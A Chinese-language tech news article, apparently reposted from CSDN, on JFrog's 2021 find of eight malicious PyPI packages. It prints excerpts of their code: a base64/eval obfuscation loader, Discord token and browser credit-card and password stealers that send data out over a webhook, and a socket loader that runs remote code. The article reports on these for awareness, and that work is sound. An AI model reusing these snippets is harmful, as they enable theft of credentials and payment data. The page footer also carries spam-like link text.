<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          危!Python 官方存儲庫 PyPI 再成“禍源”?

          共 5814字,需瀏覽 12分鐘

           ·

          2021-08-07 00:43

          整理丨鄭麗媛
          出品本文經(jīng)授權(quán)轉(zhuǎn)自公眾號:CSDN(id:CSDNnews)


          PyPI,作為 Python 的官方第三方軟件包存儲庫,一直廣受開發(fā)者歡迎,所有人都可以下載第三方庫或上傳自己開發(fā)的庫到 PyPI,與之類似的還有 Ruby 的 RubyGems 和 JavaScript 的 NPM。

          但也正因如此,這些流行存儲庫時常被濫用,許多惡意軟件藏匿其中,加之其官方第三方存儲庫的身份,開發(fā)者容易盲目信任并安裝這些來源的軟件包。因此一旦有惡意軟件成功上傳至這些存儲庫中,造成的殺傷力都不容小覷。

          近日,DevOps 軟件供應(yīng)商 JFrog 的安全研究團(tuán)隊在 PyPI 中又發(fā)現(xiàn)了 8 個惡意軟件包,不僅會在設(shè)備上注入惡意代碼,還能竊取 Discord(一款聊天軟件)的登錄信息及信用卡信息。

          而根據(jù) PePy 網(wǎng)站(一個統(tǒng)計 Python 包下載量的網(wǎng)站)的統(tǒng)計,這 8 個軟件包的下載次數(shù)估計達(dá)到了 3 萬次!




          8 個惡意軟件包使用的是同一種混淆技術(shù)


          以下是 JFrog 在 PyPI 中發(fā)現(xiàn)的 8 個惡意軟件包:

          由該表可知,這 8 個惡意軟件包主要分為兩種:

          • 一種是 noblesse 及其變體 genesisbot、aryi、suffer、noblesse2 和 noblessev2,主要在 Windows 系統(tǒng)上竊取 Discord 的登錄信息和瀏覽器存儲的信用卡信息;

          • 另一種是 pytagora 及其變體 pytagora2,主要在受感染的設(shè)備上注入并執(zhí)行惡意代碼。

          JFrog 安全研究團(tuán)隊通過分析得知,這 8 個惡意軟件包都使用了同一種混淆技術(shù),使其得以成功上傳至 PyPI:首先,用一些簡單的編碼器(例如 Base64)編碼 Python 文本;然后,用 eval()函數(shù)將解碼后的文本作為代碼進(jìn)行評估。惡意軟件包 nobleesse2 的主代碼就是如此:

          import base64, codecsmagic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...'love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...'god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...'destiny = 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...'joy = '\x72\x6f\x74\x31\x33'trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64...')eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))

          由于這種混淆技術(shù)可以騙過較為簡單的靜態(tài)分析工具,因此這也是許多新手攻擊者上傳 Python 惡意軟件包時經(jīng)常采用的一種方式。

          JFrog 首席技術(shù)官 Asaf Karas 對此表示:“越來越多的攻擊者利用簡單的混淆技術(shù)來引入惡意軟件,這意味著開發(fā)人員必須時刻保持關(guān)注和警惕。同時,這也是一種系統(tǒng)性威脅,需要在包括軟件存儲庫的維護(hù)人員和開發(fā)人員等不同層面上進(jìn)行解決?!?br>



          技術(shù)分析


          如上文所說,JFrog 安全研究團(tuán)隊發(fā)現(xiàn)的這 8 個惡意軟件包分為兩種,其中以 noblesse 為首的前 6 個惡意軟件包中含有 3 個有效負(fù)載(payload)

          • 竊取 Discord 身份驗證 token

          一旦攻擊者獲得身份驗證 token,就可以冒充最初持有 token 的用戶進(jìn)行登錄。據(jù)了解,竊取 token 的這個有效負(fù)載基于 dTGPG(Discord Token Grabber Payload Generator),它雖未公開發(fā)布,但其有效負(fù)載可在 Github 上找到相關(guān)示例,因此攻擊者可參考借鑒。

          竊取 Discord 身份驗證 token 的代碼非常簡單,它迭代了一組硬編碼的路徑:

          local = os.getenv('LOCALAPPDATA')roaming = os.getenv('APPDATA')
          paths = { 'Discord': roaming + '\\Discord', 'Discord Canary': roaming + '\\discordcanary', 'Discord PTB': roaming + '\\discordptb', 'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default', 'Opera': roaming + '\\Opera Software\\Opera Stable', 'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default', 'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'}

          隨后便可以讀取這些路徑下所有的 .log 和 .ldb 文件,查找 Discord 身份驗證 token,所得結(jié)果通過 Webhook(一種將自動獲取的消息和數(shù)據(jù)更新發(fā)送到私人服務(wù)器上的簡單方法)上傳到 Discord,所用參數(shù)如下:

          {  "type": 1,  "id": "807327703082074143",  "name": "Captain Hook",  "avatar": null,  "channel_id": "725001140324008047",  "guild_id": "720931953251057725",  "application_id": null,  "token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}
          • 自動竊取在瀏覽器上存儲的所有密碼和信用卡數(shù)據(jù)

          我們都知道,現(xiàn)在幾乎所有瀏覽器都支持為用戶保存密碼和信用卡信息的功能,為用戶提供便利的同時,也為惡意軟件敞開了大門。noblesse 這一系列惡意軟件包的第二個有效負(fù)載就是自動竊取在瀏覽器上存儲的所有密碼和信用卡數(shù)據(jù)。

          舉個例子,惡意軟件會從 Chrome 瀏覽器中竊取信用卡信息:

          def cs():    master_key = master()    login_db = os.environ['USERPROFILE'] + os.sep + \        r'AppData\Local\Google\Chrome\User Data\default\Web Data'    shutil.copy2(login_db,                 "CCvault.db")    conn = sqlite3.connect("CCvault.db")    cursor = conn.cursor()
          try: cursor.execute("SELECT * FROM credit_cards") for r in cursor.fetchall(): username = r[1] encrypted_password = r[4] decrypted_password = dpw( encrypted_password, master_key) expire_mon = r[2] expire_year = r[3] hook.send(f"CARD-NAME: " + username + "\nNUMBER: " + decrypted_password + "\nEXPIRY M: " + str(expire_mon) + "\nEXPIRY Y: " + str(expire_year) + "\n" + "*" * 10 + "\n")

          也可以從 Edge 瀏覽器竊取存儲的密碼和信用卡信息:

          login_db = os.environ['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'...cursor.execute("SELECT action_url, username_value, password_value FROM logins")decrypted_password = dpw(encrypted_password, master_key)if username != "" or decrypted_password != "":    hook.send(f"URL: " + url + "\nUSER: " + username + "\nPASSWORD: " + decrypted_password + "\n" + "*" * 10 + "\n")

          以上所有竊取的信息同樣會通過 Webhook 發(fā)送給攻擊者。

          • 收集受感染 PC 的信息

          noblesse 系列的第三個有效負(fù)載是收集受感染 PC 的信息,所有信息也將通過同樣的 Webhook 落入攻擊者手中。

          可以收集到的信息包括:IP 地址、計算機(jī)名稱、用戶名、Windows 許可證密鑰信息、Windows 版本和屏幕截圖。

          相比 noblesse 系列,pytagora 系列的 2 個惡意軟件包就顯得簡單許多。在“使 pytagora 定理變得容易”這個介紹的偽裝下,該軟件包的代碼一目了然:

          import mathimport base64,sysdef hello():    exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...'))def hypotenuse(a,b):    hello()    c = math.sqrt(math.pow(a,2) + math.pow(b,2))    return round(c,2)def other(c,x):    y = math.sqrt(math.pow(c,2)-math.pow(x,2))    return round(y,2)

          而通過混淆技術(shù),原代碼被解碼成如下片段:

          import socket,struct,times=socket.socket(2,socket.socket.socket.SOCK_STREAM)s.connect(('172.16.60.80',9009))l=struct.unpack('>I',s.recv(4))[0]print (l)d=s.recv(l)print (d)while len(d)>!1:d+=s.recv(l-len(d))print (d)exec(d,{'s':s})

          也就是說,pytagora 系列的惡意軟件會嘗試連接到 TCP 端口 9009 上的私有 IP 地址,然后執(zhí)行從 socket 中讀取的 Python 代碼。不過目前不清楚該 IP 地址具體是什么,該地址是否存在惡意軟件也未可知。

          所幸,JFrog 安全研究團(tuán)隊在發(fā)現(xiàn)這 8 個惡意軟件包后就立即反映給了 PyPI,其維護(hù)者 Dustin Ingram 也迅速回應(yīng)并從 PyPI 中刪除了這些惡意軟件包。



          PyPI 竟成惡意軟件的傳播平臺?


          稍微了解的人都知道,PyPI 的濫用問題已持續(xù)了很久。

          早在 2016 年就有一名大學(xué)生將惡意軟件包上傳至 PyPI,隨后在幾個月的時間里被運(yùn)行了四萬多次,成功獲取了許多設(shè)備的最高管理權(quán)限;2017 年,斯洛伐克國家安全局(NBU)在 PyPI 中發(fā)現(xiàn)了十個惡意軟件庫;2018 年,一位安全研究者 Bertus 對 PyPI 進(jìn)行安全掃描時也發(fā)現(xiàn)了 12 個惡意軟件包,不僅可以開啟后門,還可以盜取比特幣。

          甚至今年僅到目前為止,都已經(jīng)發(fā)生過兩次危機(jī):一次是 5 月被黑客通過發(fā)布垃圾軟件包發(fā)起洪水攻擊;一次是 6 月發(fā)現(xiàn)被下載約 5000 次的假冒軟件包。

          這類問題的層出不窮或許要?dú)w咎于公共軟件存儲庫缺乏自動化安全控制,因此即使是沒有經(jīng)驗的攻擊者也可以將其用作傳播惡意軟件的平臺。這也令 JFrog 研究人員感到擔(dān)憂,他表示:“基于當(dāng)前存儲庫安全狀態(tài),未來互聯(lián)網(wǎng)很可能還會遭遇更多攻擊。

          參考鏈接:

          • https://arstechnica.com/gadgets/2021/07/malicious-pypi-packages-caught-stealing-developer-data-and-injecting-code/?comments=1&post=40097199

          • https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/


          往期推薦


          1、程序員35歲就該退休了嗎?

          2、從 B 站火到 GitHub,國人開發(fā)者又一黑科技面世!

          3、2021 年 Windows 成了 Python 開發(fā)者的首選

          4、一個小破網(wǎng)站,居然比 Python 官網(wǎng)還牛逼

          5、22歲何同學(xué)引爆B站!硬核畢設(shè)樹莓派星軌拍攝儀,上演理工男的終極浪漫


          今天因為您的點贊和在看,讓我元?dú)鉂M滿!

          瀏覽 26
          點贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  69AV在线观看 | 最近中文字幕免费mv第一季歌词完整版 | a√天堂资源中文8 | 黄色成年久久 | 天堂免费av |